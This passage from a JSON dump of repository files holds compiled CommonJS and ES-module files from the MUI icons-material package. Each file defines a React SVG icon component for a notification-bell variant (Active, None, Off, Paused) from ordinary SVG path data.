    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.68-1.5-1.51-1.5S10.5 3.17 10.5 4v.68C7.63 5.36 6 7.92 6 11v5l-1.3 1.29c-.63.63-.19 1.71.7 1.71h13.17c.89 0 1.34-1.08.71-1.71zm-6.01 6c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2M6.77 4.73c.42-.38.43-1.03.03-1.43-.38-.38-1-.39-1.39-.02C3.7 4.84 2.52 6.96 2.14 9.34c-.09.61.38 1.16 1 1.16.48 0 .9-.35.98-.83.3-1.94 1.26-3.67 2.65-4.94M18.6 3.28c-.4-.37-1.02-.36-1.4.02-.4.4-.38 1.04.03 1.42 1.38 1.27 2.35 3 2.65 4.94.07.48.49.83.98.83.61 0 1.09-.55.99-1.16-.38-2.37-1.55-4.48-3.25-6.05\"\n}), 'NotificationsActiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42M18 11c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18q.15-.36.15-.78h-4c.01 1.1.9 2 2.01 2\"\n}), 'NotificationsActiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42M18 11c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18q.15-.36.15-.78h-4c.01 1.1.9 2 2.01 2\"\n}), 'NotificationsActiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-2 6H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zM7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42\"\n}, \"1\")], 'NotificationsActiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-2 6H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zM7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42\"\n}, \"1\")], 'NotificationsActiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.29 17.29 18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.9 0 1.34-1.08.71-1.71M16 17H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2\"\n}), 'NotificationsNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.29 17.29 18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.9 0 1.34-1.08.71-1.71M16 17H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2\"\n}), 'NotificationsNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V2.5h-3v2.18C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V2.5h-3v2.18C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}, \"1\")], 'NotificationsNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsNoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}, \"1\")], 'NotificationsNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18.69 7.84 6.14 5.27 3.49 4 4.76l2.8 2.8v.01c-.52.99-.8 2.16-.8 3.42v5l-2 2v1h13.73l2 2L21 19.72zM12 22c1.11 0 2-.89 2-2h-4c0 1.11.89 2 2 2m6-7.32V11c0-3.08-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.15.03-.29.08-.42.12-.1.03-.2.07-.3.11h-.01c-.01 0-.01 0-.02.01-.23.09-.46.2-.68.31 0 0-.01 0-.01.01z\"\n}), 'NotificationsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18.69 7.84 6.14 5.27 3.49 4 4.76l2.8 2.8v.01c-.52.99-.8 2.16-.8 3.42v5l-2 2v1h13.73l2 2L21 19.72zM12 22c1.11 0 2-.89 2-2h-4c0 1.11.89 2 2 2m6-7.32V11c0-3.08-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.15.03-.29.08-.42.12-.1.03-.2.07-.3.11h-.01c-.01 0-.01 0-.02.01-.23.09-.46.2-.68.31 0 0-.01 0-.01.01z\"\n}), 'NotificationsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m0-15.5c2.49 0 4 2.02 4 4.5v.1l2 2V11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23l1.64 1.64c.18-.02.36-.05.55-.05M5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.74 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41zM16 17H8v-6c0-.68.12-1.32.34-1.9L16 16.76z\"\n}), 'NotificationsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m0-15.5c2.49 0 4 2.02 4 4.5v.1l2 2V11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23l1.64 1.64c.18-.02.36-.05.55-.05M5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.74 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41zM16 17H8v-6c0-.68.12-1.32.34-1.9L16 16.76z\"\n}), 'NotificationsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23L18 13.1zM5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.73 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h12.83l1.74 1.74 1.41-1.41z\"\n}), 'NotificationsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23L18 13.1zM5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.73 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h12.83l1.74 1.74 1.41-1.41z\"\n}), 'NotificationsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-11c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18c-.24.06-.47.15-.69.23L18 13.1zM5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.73 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41z\"\n}), 'NotificationsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-11c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18c-.24.06-.47.15-.69.23L18 13.1zM5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.73 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41z\"\n}), 'NotificationsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17h8v-.24L8.34 9.1C8.12 9.68 8 10.32 8 11zm4-10.5c-.19 0-.37.03-.55.06L16 11.1V11c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m0-15.5c2.49 0 4 2.02 4 4.5v.1l2 2V11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23l1.64 1.64c.18-.02.36-.05.55-.05M5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.74 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41zM16 17H8v-6c0-.68.12-1.32.34-1.9L16 16.76z\"\n}, \"1\")], 'NotificationsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17h8v-.24L8.34 9.1C8.12 9.68 8 10.32 8 11zm4-10.5c-.19 0-.37.03-.55.06L16 11.1V11c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m0-15.5c2.49 0 4 2.02 4 4.5v.1l2 2V11c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68c-.24.06-.47.15-.69.23l1.64 1.64c.18-.02.36-.05.55-.05M5.41 3.35 4 4.76l2.81 2.81C6.29 8.57 6 9.74 6 11v5l-2 2v1h14.24l1.74 1.74 1.41-1.41zM16 17H8v-6c0-.68.12-1.32.34-1.9L16 16.76z\"\n}, \"1\")], 'NotificationsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}), 'NotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPaused.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.93 6 11v5l-2 2v1h16v-1zm-3.5-6.2-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\"\n}), 'NotificationsPaused');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPaused.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.93 6 11v5l-2 2v1h16v-1zm-3.5-6.2-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\"\n}), 'NotificationsPaused');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 9.8h2.8l-2.8 3.4V15h5v-1.8h-2.8l2.8-3.4V8h-5zM18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}), 'NotificationsPausedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedOutlined.mjs",
